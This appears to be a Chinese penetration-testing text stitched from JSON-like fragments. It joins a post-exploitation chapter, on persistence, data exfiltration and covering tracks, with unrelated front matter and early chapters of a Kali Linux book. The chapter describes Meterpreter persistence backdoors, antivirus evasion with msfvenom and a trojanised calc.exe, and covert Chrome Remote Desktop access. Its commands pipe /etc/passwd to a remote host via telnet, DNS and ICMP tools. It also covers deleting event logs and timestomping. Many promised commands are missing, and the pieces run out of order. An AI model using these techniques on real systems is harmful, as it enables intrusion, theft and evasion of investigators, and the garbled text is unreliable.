当端口规则确定后，确保重启选项启动。 ·在meterpreter提示符后输入如下命令： ·在交互式Windows shell中输入如下命令： 为了远程接入被入侵系统，在命令提示符下输入nc，表示连接的详细程度（参数-v表示报告基本信息，参数-vv表示报告更多详细的信息），然后输入目标的IP地址和端口号，如图14.3所示。 图14.3 使用nc命令 不幸的是，在使用Netcat时存在一些限制：没有认证机制，对传输的数据没有加密，几乎能够被所有的反病毒软件检测到。 可以用cryptcat来加密，cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中，它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法，可以为加密的数据提供强有力的保护。 使用cryptcat，确保有一个准备好的监听者，并配置强壮的密码，使用如下命令进行配置： 接下来，上传cryptcat到被入侵的系统，使用如下命令进行配置，使其连接到监听者的IP地址： 不幸的是，大多数的反病毒软件能检测到Netcat和它的变体。可以用16进制编辑器对Netcat源代码进行编辑，使其不能被检测到；这将有助于避免触发反病毒软件的签名匹配行为，但是，这可能是一个漫长的试错过程。更有效的方法是利用Metasploit框架的持久性机制的优势。"},
    {"text": "14.1.2 使用schtasks来配置持久任务 在Windows XP和2003中Windows任务调度（Windows Task Scheduler）程序schtasks是作为替代at.exe引入的，但是我们仍然可以看到at.exe在最新版本的Windows中运行，以便向后兼容。在这一节中，我们将继续使用这一功能维持对入侵系统的持续访问。 攻击者现在可以利用Metasploit的web_delivery模块通过后台处理现有会话，并且在Meterpreter终端运行use exploit/multi/script/web_delivery，如图14.4所示。 图14.4 运行web_delivery 现在，我们应该能够在受攻击的系统上创建一个预定任务，以便下载入侵机器上的有效负载，然后提供后门访问。schtasks可以直接从命令提示中进行调度，如图14.5所示。 图14.5 使用schtasks调度 以下是典型的调度任务场景，可以由攻击者保持对系统的持久性访问： ·用户登录： ·系统启动： ·系统空闲： 攻击者应该确保监听器始终在运行，并且打开连接。攻击者将使用有效的SSL证书运行HTTPS设置服务器，这样就没有关于内部保护的警告了（Firewall/IPS/Proxy）。相同的任务可以使用Empire PowerShell工具模块执行一次命令persistence/evelated/schtasks，如图14.6所示。 图14.6 执行schtasks 14.1.3 使用Metasploit框架保持持久性 Metasploit的meterpreter包含几个脚本，支持与被入侵系统保持持久性的脚本。我们将讨论放置后门的persistence脚本。 14.1.4 使用persistence脚本 获得持久性，更有效的方法是在meterpreter提示符后输入persistence脚本。 在系统被入侵后，迁移命令已经从最初的shell转移到一个更安全的服务，攻击者可以通过在meterpreter命令提示符后调用persistence脚本。 使用命令中的-h参数，可以识别创建可持续后门的可用选项，如图14.7所示。 图14.7 运行persistence脚本 如图14.8所示，我们已经配置persistence为当系统开启时自动启动，并且试图连接监听者，频率为每10秒一次。监听者作为远程系统（-r），可以通过特定的IP地址和端口被识别。此外，我们可以选择使用-U选项，它可以在用户登录系统时启动persistence。 图14.8 使用persistence脚本 请注意，persistence使用的是随机端口444；攻击者必须验证本地防火墙的配置，确保端口开启，或者使用reg命令来开启该端口。与大多数Metasploit模块一样，任何长期没有使用的端口都可以选择。 persistence脚本位于临时目录中的一个VBS文件中，自然，你可以用-L选项来选择不同的位置。该脚本还把此文件加入到注册表的本地自动运行部分。 因为persistence脚本没有经过认证，所有人都可以使用它访问被入侵系统；当发现或者渗透测试完成后，它应该从被入侵系统中立即删除。可以通过如下resource命令来删除脚本和确认资源文件的位置已被清理。 14.1.5 使用Metasploit框架创建一个独立持久代理 Metasploit框架可以用来创建独立的可执行文件，它可以保留在被入侵的系统中，并允许交互通信。独立包装的优点在于，它可以提前准备和测试用以确认连接，可以编码来绕过本地反病毒软件。 为了使用一个简单的独立代理，利用msfvenom建立一个持久代理。这里的例子如图14.9所示，使用reverse_tcp shell来配置代理。它将连接到本地主机<attackers IP>的443端口。 代理名为attack1.exe，使用win32可执行程序模板： 图14.9 使用reverse_tcp shell配置代理 使用x86/shikata_ga_nai协议，对attackl.exe代理进行五次编码。每一次都是对上一次结果的重新编码，这样就更难侦测到。但是，可执行文件的大小也在增加。 我们可以在msfvenom中使用-bx6410+her来配置编码模式，被免某些字符。例如，当编码一个持久代理时，应避免如下的字符，因为它们可能被发现，从而导致攻击失败。 ·\\x00代表0字节地址 ·\\xa0代表换行 ·\\xad代表回车 使用如下命令来创建多次编码载荷： 你也可以将msfvenom编译到已有的可执行文件中，并且修改后的可执行文件和持久代理均能工作。为了将持久代理绑定到可执行文件（如计算机器calc.exe），首先要将calc.exe文件复制到Kali Linux。运行meterpreter>download c：\\\\windows\\\\system32\\\\calc.exe，利用Meterpreter已有的访问你可以从当前会话下载该文件。文件下载完成后，运行如下命令： 代理可以被放置到目标系统上，重命名为calc.exe，取代原来的计算器，随后执行。 不幸的是，几乎所有Metasploit编码的可执行文件都能被客户的反病毒软件检测到。这归于渗透测试者提交加密的载荷到网站，比如VirusTotal（ www.virustotal.com ）。然而，可以创建一个可执行文件，然后用Veil-Evasion进行加密。具体内容请参见第11章。"},
    {"text": "14.1.6 使用社交媒体和Gmail的持久性 渗透测试人员可以利用Google提供的Chrome远程桌面（Chrome Remote Desktop），在任何时候都保持对系统的持久访问。远程桌面进入目标机器，并访问Chrome网上应用商店（Chrome Web Store）（ https://chrome.google.com/webstore/category/extensions ），并且搜索谷歌远程桌面，同时添加扩展，可以通过输入chrome：\\\\apps来验证，如图14.10所示。 图14.10 使用chrome：\\\\apps验证 或者，如果我们创建任何自定义的Chrome扩展，我们可以通过命令行运行以下命令直接将它们添加到Chrome中。 一旦安装了应用程序，下一步就是启用共享（Share）选项，如图14.11所示。 图14.11 启动Share选项 在点击Share按钮之前，我们需要系统启用Chrome远程桌面服务。攻击者可以通过命令行安静地安装。Chrome远程桌面的MSI可以从 http://dl.google.com/dl/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi 下载。 在设置了服务之后，单击共享（Share）按钮，这将使我们进入下一个步骤，创建一个允许远程访问的PIN，如图14.12所示。 通过利用Gmail账户，攻击者现在可以远程控制系统。通过另一个笔记本或PC访问系统有一个限制，可能需要你要从受损的计算机中输入访问代码，如图14.13所示。 图14.12 创建PIN 图14.13 需要输入访问代码 但是，可以通过使用Google Play Store的移动应用程序绕过此需求。下载移动应用程序的地址为： https://play.google.com/store/apps/details?id=com.google.chromeremotedesktop&hl=en 。 使用相同的Gmail账号登录你的Play商店。系统的列表包含了Chrome远程桌面中的可用账户，如图14.14所示。 一旦PIN通过验证，就可以完全访问受损系统，图14.15显示用户正在访问 https://www.packtpub.com/ 网站。 图14.14 可用的远程账户界面 图14.15 访问入侵的 https://www.packtpub.com/ 一旦所有设置完成，攻击者就可以从浏览器删除Chrome远程桌面扩展，并维护对系统的访问。 Chrome远程桌面应用程序通过remoting_host.exe文件连接到远程主机，它位于文件夹c：\\program files（x86）\\Google\\Chrome Remote Desktop\\57.0.2987.37（依赖于版本）\\。 我们如何知道代理是活动的还是非活动的？在My Computers登录你的移动应用程序，你应该看到账户下的计算机列表，以及它们的在线状态，图14.16提供了远程机器的状态——离线了三个小时。 图14.16 远程机器状态 我们可以利用老式的任务方案，通过在入侵的系统上运行以下命令来创建一个计划任务，使它保持持久。 一旦用户在认证系统上空闲，谷歌远程桌面服务将会保持活跃，然后攻击者可以保持对入侵系统的持久访问。有一个缺点是，用户会收到提醒“你的桌面被vijayvkvelu@gmail.com共享”，如图14.17所示。 图14.17 入侵系统收到的提醒 14.2 提取数据 从任何环境中以未经授权的方式，从计算机中挤出数据被称为提取数据。一旦持久地维持在被攻破的系统上，取决于红队练习或渗透测试开始时设定的目标，提取公司秘密和证据，以下一组工具可用于从高度安全的环境中提取数据。在本节中，我们将探讨攻击者用来从内部网络向攻击者控制系统发送文件的不同方法。 14.2.1 使用现有的系统服务（Telnet、RDP、VNC） 现在，我们将讨论一些简单的技术，以便在有访问时间限制的被入侵系统中快速抓取文件。攻击者可以使用Netcat运行命令nc-lvp 2323>Exfilteredfile打开一个端口，然后通过被入侵的Linux服务器运行命令：cat/etc/passwd|telnet remoteIP 2323。这将etc/passwd的全部内容显示给远程主机，如图14.18所示。 图14.18 运行cat/etc/passwd|telnet 访问网络上任何系统的攻击者使用的另一个重要且相当简单的技术是从Meterpreter shell运行getgui，这将启用RDP。 一旦启用了RDP，攻击者就可以配置他们的Windows攻击来挂载本地设备到远程设备，并将远程桌面的所有文件导出到本地设备。这可以通过菜单选项来完成，首先从Remote Desktop Connection的Options菜单选择Local Resources，然后到Local devices and resources，点击More，之后选择想要挂载的设备，如图14.19所示，这将攻击者本地计算机的D：//安装到RDP系统。 可以通过使用RDP连接登录到远程IP进行确认。一个额外的驱动器（X：）应该默认安装，如图14.20所示。 图14.19 菜单设置 图14.20 默认安装驱动器 其他传统技术包括设置anSMB服务器，并允许匿名访问被损坏的计算机。"},
    {"text": "14.2.2 使用DNS协议提取数据 将数据有效负载添加到企业的DNS是维护命令的最简单的方法，控制并利用DNS的隧道设计方式，自动绕过网络保护，进行数据提取。在本节中，我们将在网络和互联网上设置假DNS服务器，通过UDP 53上的DNS协议，利用DNSteal来提取数据。 DNSteal是一种用Python编写的工具，通过一个假DNS服务器来完成DNS协议，DNSteal被攻击者用来发送文件和文件夹。最新的DNSteal版本是v2.0；我们希望它集成到以后的Kali Linux中。 这个工具可以从GitHub下载，网址为： https://github.com/m57/dnsteal/ 。 攻击者现在可以启动一个伪造的DNS服务器，并在指定的IP上运行，如图14.21所示。 图14.21 使用DNSteal 以下是所使用的选项的详细信息： ·-z：解压缩任何传入文件，特别是用于大型文件传输网络。 ·-s：设置每个请求的数据子域的数量。 ·-b：每个子域发送字节。 ·-f：每个请求的文件名长度。 利用DNSteal的优点是它还提供了在被入侵主机上运行的命令。现在，攻击者在被攻破的系统上运行以下命令： 通过假DNS服务器添加数据有效载荷，可以对服务器执行多个DNS查询，在图14.22所示的示例中，通过网络直接传输内部文件/etc/passwd到服务器。 图14.22 传输内部文件 一旦脚本在受感染的机器上运行，攻击者应该能够在其DNSteal控制台中看到关于接受文件的内容，如图14.23所示。 一旦文件传输完成，文件名约定为receieved_year_month_date_time_filename，在./文件夹中可用，测试人员将可以看到如图14.24所示的文件内容。 图14.23 接受文件 图14.24 显示文件内容 14.2.3 使用ICMP提取数据 应用ICMP协议（任意ICMP工具，如Hping、nping和ping等）有多种方法可以提取文件。在本节中，我们将利用nping实用程序使用ICMP协议执行机密文件的数据提取。 在这个例子中，我们将利用TCP转储从PCAP转储文件中提取数据。通过在终端运行以下内容完成，如图14.25所示。 图14.25 使用tcpdump 使用监听器。现在主机192.168.1.104是目标主机，我们等待接收它的数据，一旦hping3在客户端被触发（192.168.1.104），应该收到一条消息，如“EOF reached，wait some second than press Ctrl+C”，如图14.26所示，表示该文件通过ICMP外泄到目标服务器。 回到服务器端监听器，渗透测试人员可以按Ctrl+C关闭TCP转储。下一步是从PCAP文件中删除不需要的数据，以便我们可以通过运行Wireshark或tshark打印十六进制值。下面的命令只打印PCAP文件中的十六进制值。 图14.26 文件泄露到目标服务器 十六进制文件现在可以由Python中的4行代码转换。 最后，应该可以打开使用ICMP协议发送的文件，如图14.27所示。 图14.27 ICMP文件内容 其他一些工具，如Data Exfiltration Toolkit正在取代相同的技术，我们将在下一节中探讨。 14.2.4 使用数据提取工具包 数据提取工具包（Data Exfiltration Toolkit，DET）是市场上最简单的工具之一，由Sensepost创建，用于测试针对数据提取的数据泄露预防（Data Leakage Prevention，DLP）解决方案。在真实的环境中攻击者也可以使用ICMP和其他社交媒体（如Gmail和Twitter）来提取数据。 可以从GitHub下载DET，下载命令如下： 最重要的因素是配置文件，它由config sample.json提供，根据攻击者的动机和目标可以替换为config.json。现在，我们都设置为利用攻击者控制的IP地址，运行DET提取网络中的数据。 传统的客户端和服务器概念，首先在服务器上运行Python脚本通过一个特定协议接受通信，本例中，我们使用ICMP协议。图14.28显示了服务器已准备就绪，并运行以下命令接受连接： 图14.28 使用ICMP的Python脚本 另一方面，攻击者可以使用受攻击的服务器启动DET，通过ICMP协议运行python det.py-f/etc/passwd-p icmp–c./config-sample.json，发送相同的配置文件，如图14.29所示。 图14.29 发送配置文件 文件发送到攻击者的服务器后，渗透测试人员应该可以看到正在运行的服务器的确认信息，如图14.30所示。 图 14.30 最后，该文件将存储在运行服务器的同一文件夹filename：date：time.txt中。 14.2.5 从PowerShell提取 在最近的渗透测试期间，我们通过PowerShell执行简单的数据提取，并通过运行以下命令将文件上传到攻击者控制的Web服务器。"},
    {"text": "14.2.6 隐藏攻击证据 一旦一个系统被渗透，攻击者必须掩饰他们的踪迹，以免被发现，或者至少为防守者重构该事件制造困难。 攻击者可以完全删除Windows事件日志（如果它们保留在被感染的服务器上）。这些可以通过对入侵系统使用一个命令shell，并使用以下命令来实现： /a选项直接删除所有日志，/s选项删除包括所有子文件夹的文件。/q选项禁用所有的查询，这些查询要求有一个yes或者no的回应，/f选项强行删除文件，使得恢复更加困难。 为了擦除特定的记录文件，攻击者必须跟踪在入侵系统上执行的所有活动。 也可以通过在meterpreter提示符下执行clearev命令来删除文件，如图14.31所示。该命令将删除目标机上的应用程序、系统和安全日志（该命令没有选项和参数）。 图14.31 运行clearev命令 通常情况下，删除一个系统日志不会触发任何警报。事实上，大多数组织都是随意设置日志系统，以至于系统日志丢失被视作一件可能发生的事情，并且不会对其丢失做深入的调查。 Metasploit有一个绝招，那就是timestomp选项，它允许攻击者更改一个文件的MACE参数（一个文件的最后一次修改、访问、创建，以及MFT入口修改时间）。一旦系统被入侵，并且一个meterpreter shell已经建立，timestomp就会被调用，如图14.32所示。 图14.32 执行timestomp-h命令 例如，被入侵系统，C盘包含一个名叫README.txt的文件。此文件的MACE值表示它是最近创建的，如图14.33所示。 图14.33 执行timestomp-v命令 如果我们想隐藏这个文件，我们可以将其移动到一个杂乱的目录，如Windows\\System32下。但是，这个文件对于那些根据创建时间或其他MAC参数进行排序的人是显而易见的。因此，应更改文件创建的时间戳，通过运行以下命令修改的访问权限将更改README.txt的时间戳，如图14.34所示。 图14.34 改变时间戳 为了能够彻底的破坏调查，攻击者可能递归地改变一个目录下所有的设置时间，或者在一个特定的驱动器上所有的设置时间，只需执行以下命令： 这种解决方法并不是完美的。很明显，已经发生了一个攻击。此外，时间戳很可能存储在硬盘的其他位置，并且方便调查。如果目标系统正在使用入侵检测系统来监控系统的变化，例如Tripwire，会产生timestomp活动的警报。因此，当要求高度隐蔽时，破坏时间戳的价值是有限的。 14.3 小结 在本章中，我们介绍了攻击者为了达到目标，维护与入侵系统连接的不同方法，也是杀链的最后一步。我们学习了通过各种不同的方法来提取数据的不同技术。我们特别关注使用Netcat、Meterpreter、计划任务、Empire PowerShell和Gmail来维护受影响系统上的持久代理，以及使用传统服务（如DNS、ICMP、Telnet、RDP和Netcat）的数据泄露。我们还学习了如何以传统的方式隐藏攻击的证据，覆盖痕迹并保持匿名。 我们希望这本书可以帮助你了解基本风险，攻击者如何在几秒钟内使用这些工具来破坏网络，如何使用相同的工具和技术来了解网络漏洞，以及修复和修补程序管理的重要性。"},
    {"text": "目录 封面 扉页 版权 内容提要 关于作者 关于审稿人 前言 第1部分 系统的搭建与测试 第1章 Kali Linux入门 1.1 Kali的发展简史 1.2 Kali Linux工具包 1.3 下载Kali Linux 1.4 使用Kali Linux 1.4.1 Live DVD方式 1.4.2 硬盘安装 1.4.3 安装在USB闪存上 1.5 配置虚拟机 1.5.1 安装客户端功能增强包 1.5.2 网络设置 1.5.3 文件夹共享 1.5.4 快照备份 1.5.5 导出虚拟机 1.6 系统更新 1.7 Kali Linux的网络服务 1.7.1 HTTP 1.7.2 MySQL 1.7.3 SSH 1.8 安装脆弱系统 1.9 安装额外工具包 1.9.1 安装Nessus漏洞扫描程序 1.9.2 安装Cisco密码破解工具 1.10 本章总结 第2章 渗透测试方法论 2.1 渗透测试的种类 2.1.1 黑盒测试 2.1.2 白盒测试 2.2 脆弱性评估与渗透测试 2.3 安全测试方法论 2.3.1 开源安全测试方法论（OSSTMM） 2.3.2 信息系统安全评估框架 2.3.3 开放式Web应用程序安全项目 2.3.4 Web应用安全联合威胁分类 2.4 渗透测试执行标准 2.5 通用渗透测试框架 2.5.1 范围界定 2.5.2 信息收集 2.5.3 目标识别 2.5.4 服务枚举 2.5.5 漏洞映射 2.5.6 社会工程学 2.5.7 漏洞利用 2.5.8 提升权限 2.5.9 访问维护 2.5.10 文档报告 2.6 道德准则 2.7 本章总结 第2部分 渗透测试人员的军械库 第3章 范围界定 3.1 收集需求 3.1.1 需求调查问卷 3.1.2 可交付成果的需求调查表 3.2 筹划工作 3.3 测试边界分析 3.4 定义业务指标 3.5 项目管理和统筹调度 3.6 本章总结 第4章 信息收集 4.1 公开网站 4.2 域名的注册信息 4.3 DNS记录分析 4.3.1 host 4.3.2 dig 4.3.3 dnsenum 4.3.4 dnsdict6 4.3.5 fierce 4.3.6 DMitry 4.3.7 Maltego 4.4 路由信息 4.4.1 tcptraceroute 4.4.2 tctrace 4.5 搜索引擎 4.5.1 theharvester 4.5.2 Metagoofil 4.6 本章总结 第5章 目标识别 5.1 简介 5.2 识别目标主机 5.2.1 ping 5.2.2 arping 5.2.3 fping 5.2.4 hping3 5.2.5 nping 5.2.6 alive6 5.2.7 detect-new-ip6 5.2.8 passive_discovery6 5.2.9 nbtscan 5.3 识别操作系统 5.3.1 p0f 5.3.2 Nmap 5.4 本章总结 第6章 服务枚举 6.1 端口扫描 6.1.1 TCP/IP协议 6.1.2 TCP和UDP的数据格式 6.2 网络扫描程序 6.2.1 Nmap 6.2.2 Unicornscan 6.2.3 Zenmap 6.2.4 Amap 6.3 SMB枚举 6.4 SNMP枚举 6.4.1 onesixtyone 6.4.2 snmpcheck 6.5 VPN枚举 6.6 本章总结 第7章 漏洞映射 7.1 漏洞的类型 7.1.1 本地漏洞 7.1.2 远程漏洞 7.2 漏洞的分类 7.3 OpenVAS 7.4 Cisco分析工具 7.4.1 Cisco Auditing Tool 7.4.2 Cisco Global Exploiter 7.5 Fuzz（模糊）分析工具 7.5.1 BED 7.5.2 JBroFuzz 7.6 SMB分析工具 7.7 SNMP分析工具 7.8 Web程序分析工具 7.8.1 数据库评估工具 7.8.2 Web应用程序评估工具 7.9 本章总结 第8章 社会工程学攻击 8.1 人类心理学建模 8.2 攻击过程 8.3 攻击方法 8.3.1 冒名顶替 8.3.2 投桃报李 8.3.3 狐假虎威 8.4 啖以重利 8.5 社会关系 8.6 Social Engineering Toolkit（SET） 定向钓鱼攻击 8.7 本章总结 第9章 漏洞利用 9.1 漏洞检测 9.2 漏洞和exploit资料库 9.3 漏洞利用程序工具集 9.3.1 MSFConsole 9.3.2 MSFCLI 9.3.3 忍者操练101 9.3.4 编写漏洞利用模板 9.4 本章总结 第10章 提升权限 10.1 利用本地漏洞 10.2 密码攻击 10.2.1 离线攻击工具 10.2.2 在线破解工具 10.3 网络欺骗工具 10.3.1 DNSChef 10.3.2 arpspoof 10.3.3 Ettercap 10.4 网络嗅探器 10.4.1 Dsniff 10.4.2 tcpdump 10.4.3 Wireshark 10.5 本章总结 第11章 访问维护 11.1 操作系统后门 11.1.1 Cymothoa 11.1.2 Intersect 11.1.3 Meterpreter后门 11.2 隧道工具 11.2.1 dns2tcp 11.2.2 iodine 11.2.3 ncat 11.2.4 proxychains 11.2.5 ptunnel 11.2.6 socat 11.2.7 sslh 11.2.8 stunnel4 11.3 创建Web后门 11.3.1 WeBaCoo 11.3.2 weevely 11.3.3 PHP Meterpreter 11.4 本章总结 第12章 文档报告 12.1 文档记录与结果验证 12.2 报告的种类 12.2.1 行政报告 12.2.2 管理报告 12.2.3 技术报告 12.3 渗透测试报告（样文） 12.4 准备演示的资料 12.5 测试的后期流程 12.6 本章总结 第3部分 额外资源 附录A 辅助工具 附录B 关键资源 Kali Linux渗透测试的艺术 Kali Linux: Assuring Security By Peneration Testing [英]Lee Allen [印尼]Tedi Heriyanto [英]Shakeel Ali 著 Archer 译 人民邮电出版社 北京"},
    {"text": "图书在版编目（CIP）数据 Kali Linux渗透测试的艺术/（英）艾伦（Allen,L.），（印尼）赫里扬托（Heriyanto,T.），（英）阿里（Ali,S.）著；阿彻译.--北京：人民邮电出版社，2015.2 ISBN 978-7-115-37844-6 Ⅰ.①K… Ⅱ.①艾…②赫…③阿…④阿… Ⅲ.①Linux操作系统—程序设计 Ⅳ.①TP316.89 中国版本图书馆CIP数据核字（2015）第005396号 版权声明 Copyright © Packt Publishing 2014. First published in the English language under the title Kali Linux – Assuring Security by Penetration Testing All Rights Reserved. 本书由英国Packt Publishing公司授权人民邮电出版社出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。 版权所有，侵权必究。 ◆著 [英]Lee Allen [印尼]Tedi Heriyanto [英]Shakeel Ali 译 Archer 责任编辑 傅道坤 责任印制 张佳莹 焦志炜 ◆人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京艺辉印刷有限公司印刷 ◆开本：800×1000 1/16 印张：24.75 字数：505千字 2015年2月第1版 印数：1–3000册 2015年2月北京第1次印刷 著作权合同登记号 图字：01-2014-5790号 定价：69.00元 读者服务热线：(010)81055410 印装质量热线：(010)81055316 反盗版热线：(010)81055315 内容提要 Kali Linux 是一个渗透测试兼安全审计平台，集成了多款漏洞检测、目标识别和漏洞利用工具，在信息安全业界有着广泛的用途。 本书从业务角度出发，通过真实攻击案例并辅之以各种实用的黑客工具，探讨了进行渗透测试所需的各种准备工序和操作流程。本书共分为12章，其内容涵盖了Kali Linux 的使用、渗透测试方法论、收集评估项目需求的标准流程、信息收集阶段的工作流程、在目标环境中探测终端设备的方法、服务枚举及用途、漏洞映射、社会工程学、漏洞利用、提升权限、操作系统后门和Web后文的相关技术、渗透测试文档报告的撰写等。 本书适合讲解步骤清晰易懂、示例丰富，无论是经验丰富的渗透测试老手，还是刚入门的新手，都会在本书中找到需要的知识。 关于作者 Lee Allen 是在顶尖大学里任职的安全架构师。多年以来，他持续关注信息安全行业和安全界内的新近发展。他有15年以上的IT行业经验，并且持有OSWP等多项业内的资格认证。 Lee Allen 还是 Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide （由Packt Publishing 出版，人民邮电出版社出版了其中文版）一书的作者。 在此向我的爱人 Kellie 和我们的孩子表示感谢；他们为了本书的创作对我多有照顾。同时，我要向祖父母Raymond 和Ruth Johnson，以及岳父母 George 和 Helen Slocum 表示谢意；感谢他们这些年对我的支持和鼓励。 Tedi Heriyanto 是印尼一家信息安全公司的首席顾问。他一直在与（印尼）国内外的多家知名机构进行信息安全渗透测试方面的合作。他擅长设计安全网络架构、部署与管理企业级的信息安全系统、规范信息安全制度和流程、执行信息安全审计和评估，以及提供信息安全意识培训。在闲暇之余，他在印尼安全界的各种活动中不停地研究和学习。他还通过写作各种安全图书与大家分享界内知识。有兴趣的读者可以访问他的博客http://theriyanto.wordpress.com。 感谢我的家人，谢谢他们在本书创作过程中给我的支持。感谢我的老板，谢谢他在本书的创作过程中给予我的信任、帮助和支持。感谢各位同事和客户，你们是我的良师益友。此外，感谢为本书提供宝贵意见和建议的 Packt Publishing 的各位同仁——Rubal Kaur、SwenySukumaran、Joel Goveya、Usha Iyer和Abhijit Suvarna。与此同时，感谢为本书投入大量时间和精力并分享了个人经验的技术审稿人Alex Gkiouros 和Neil Jones。最后要感谢本书的另外两名作者——Lee Allen 和Shakeel Ali，他们通过这本书分享了各自的技术知识、热情、想法、挑战和建议，使我陶醉于这本书的创作过程。 最终要感谢的是您——本书的读者，感谢您购买了此书，希望您能喜欢它。祝您在信息安全的工作中一帆风顺。 Shakeel Ali 在世界500强公司里担任安全和风险管理顾问。在此之前，他是英国Cipher Storm Ltd.的核心创始人。他从事过安全评估、系统审计、合规部门顾问、IT 管理和法证调查工作，积累了信息安全领域的各种知识。他还是CSS Providers SAL 的首席安全员。他以废寝忘食的工作态度，为全球各类商业公司、教育机构和政府部门提供了不间断的安全支持服务。作为一名活跃的业内独立研究人员，他发表了大量的文章和白皮书。有兴趣的读者可以访问他的个人博客Ethical-Hacker.net。此外，他还长期参与墨西哥举办的BugCon Security Conferences 活动，定期报告最前沿的网络安全威胁，并分享相应的应对方案。 我向参与本书创作的各位朋友、审稿人和同事表示感谢。特别感谢Packt Publishing 的团队和它们的技术编辑、审稿人，他们分享了无价的意见和建议，是这本书的幕后英雄。在此感谢本书的其他两位作者Lee Allen和Tedi Heriyanto，本书的成功离不开他们不断的奉献、贡献、理念和技术讨论。最后，感谢我迄今为止遇到的各位搭档。他们总是能够在毫不松懈的安防工作中迸发出各种灵感。我相信，没有诸位的共同努力就没有安全稳定的信息安全环境。"},
    {"text": "关于审稿人 Alex Gkiouros 当前是一名独立的IT 专业人士，参与过希腊的各种项目。他在2006 年步入IT行业，已经持有2个ISACA的资格认证，目前在学习CCNP。他热爱网络安全，并花费大量时间研究Kali Linux或Backtrack。有兴趣的读者可以访问他的个人博客http://www. voovode.net/。 Neil Jones 在一家总部在英国的全球安全公司任职安全顾问。他过去就希望在年轻的时候就进入安全行业，如今他不仅达成这一心愿，而且获取了业内认可的多项资格认证。 他是一名不折不扣的安全研究人员。他从吃饭、睡觉，甚至在呼吸之间都挤出时间进行研究，还为业内开发过多款开放源代码的安全工具。"},
    {"text": "本书最先讲解了实验室的制备方法，依次说明了基本的安装和配置方法，讨论了渗透测试的不同类型，介绍了开放的安全测试方法，并提出了Kali Linux 特有的测试过程。 在此之后，本书将遵循正式的测试方法论，依据渗透测试各个阶段（范围界定、信息收集、目标发现、服务枚举、漏洞映射、社会工程学、提升权限、访问维护和文档报告）的需要介绍相应的测试工具。"},
    {"text": "本章首先介绍Kali Linux 的研发简史和各类工具，然后介绍获取、使用、配置、更新Kali Linux 的方法，以及多个重要网络服务（HTTP、MySQL、SSH）的配置方法。"},
    {"text": "本章首先演示了通过公共资源获取目标环境有关信息的方法，然后介绍了分析DNS信息和收集网络路由信息的手段，最后讲解了利用搜索引擎获取目标域名、E-mail地址和文件元数据的技术。"},
    {"text": "阅读群体 本书适合大体了解UNIX/Linux操作系统，并了解信息安全各项构成因素的IT安全专业人士或网络管理员，以及想要使用Kali Linux 进行渗透测试的读者。"},
    {"text": "第1部分 系统的搭建与测试 第1章 Kali Linux 入门 第2章 渗透测试方法论 第1章 Kali Linux入门 本章将带领读者初步了解渗透测试专用的独立Linux 操作系统——Kali Linux。"},
    {"text": "1.1 Kali的发展简史 Kali Linux（Kali）是专门用于渗透测试的Linux操作系统，它由BackTrack 发展而来。 在整合了IWHAX、WHOPPIX 和Auditor 这3 种渗透测试专用Live Linux 之后，BackTrack正式改名为Kali Linux。"},
    {"text": "● 漏洞评估：这类工具都可以扫描目标系统上的漏洞。 部分工具可以检测Cisco 网络系统缺陷，有些还可以评估各种数据库系统的安全问题。 很多模糊测试软件都属于漏洞评估工具。"},
    {"text": "● 漏洞利用：这类工具可以利用在目标系统中发现的漏洞。 攻击网络、Web 和数据库漏洞的软件，都属于漏洞利用（exploitation）工具。 Kali 中的某些软件可以针对漏洞情况进行社会工程学攻击。"},
    {"text": "1.3 下载Kali Linux 要安装使用Kali Linux，首先需要下载它。 下载Kali Linux的官方网站是http://www. kali.org/downloads/。 在下载页面中（见图1.1），您可以通过下列项目选择适用的Kali Linux 镜像。"},
    {"text": "在下载镜像文件之后，您需要校验镜像文件的 SHA1 哈希值是否和下载网站上提示的哈希值一致。 检查 SHA1 哈希值主要为了确保下载镜像文件的完整性。"},
    {"text": "例如，您可以使用下述指令检查kali-linux-1.0.1-i386.iso文件的哈希值： sha1sum kali-linux-1.0.1-i386.iso 41e5050f8709e6cd6a7d1baaa3ee2e89f8dfae83 kali-linux-1.0.1-i386.iso 很多Windows程序都可以生成SHA1的哈希值。"},
    {"text": "HashMyFiles能够计算MD5、SHA1、CRC32、SHA-256、SHA-384和SHA-512算法的哈希值。 下载HashMyFiles 之后，打开这个程序，在菜单里选择File | Add Files 或直接按快捷键F2，则可添加需要计算哈希值的文件。 使用HashMyFiles 计算Kali Linux i386 ISO 镜像的哈希值，情况会如图1.2 所示。 图1.2 在使用sha1sum、HashMyFile这类工具计算下载文件的哈希值之后，您需要将其与网页所示的哈希值进行比较，检查它们是否相同。"},
    {"text": "1.4 使用Kali Linux Kali Linux 有以下几种使用方式： ● 可以直接通过Live DVD 运行Kali Linux； ● 可以在硬盘上安装并运行Kali Linux； ● 可以在USB 磁盘上安装Kali Linux（即portable Kali Linux）。"},
    {"text": "即使您的硬盘上有数据，在以硬盘方式安装Kali系统时，安装程序（默认选项）将会把整个硬盘格式化。 要想轻松安装这个系统，最好把整个硬盘都分配给Kali使用。 如果您的主机已经装有其他操作系统，则需要划分出一个单独的分区给Kali Linux。 总之，在有数据的硬盘上安装Kali Linux 时应当格外小心，以免破坏原有数据。"},
    {"text": "Kali Linux官方网站介绍了在Windows操作系统的主机上安装Kali Linux的具体方法。 如需查询，请访问下述网址：http://docs.kali.org/installation/dual- boot-kali-with-windows。"},
    {"text": "上述Linux Live CD的使用方法很简单，从光盘启动操作系统就可以管理磁盘分区。 在使用Linux Live CD的磁盘分区工具之前，建议您事先备份好硬盘上的重要数据。"},
    {"text": "之后，您要根据自己的需要设置/home 分区的大小。 如果要把所有文件都放在/home 目录（分区）里，您可能需要把分区大小设置得大一些（大于50GB）。 一般而言，把这个分区的大小设置为10GB到20GB就可以了。"},
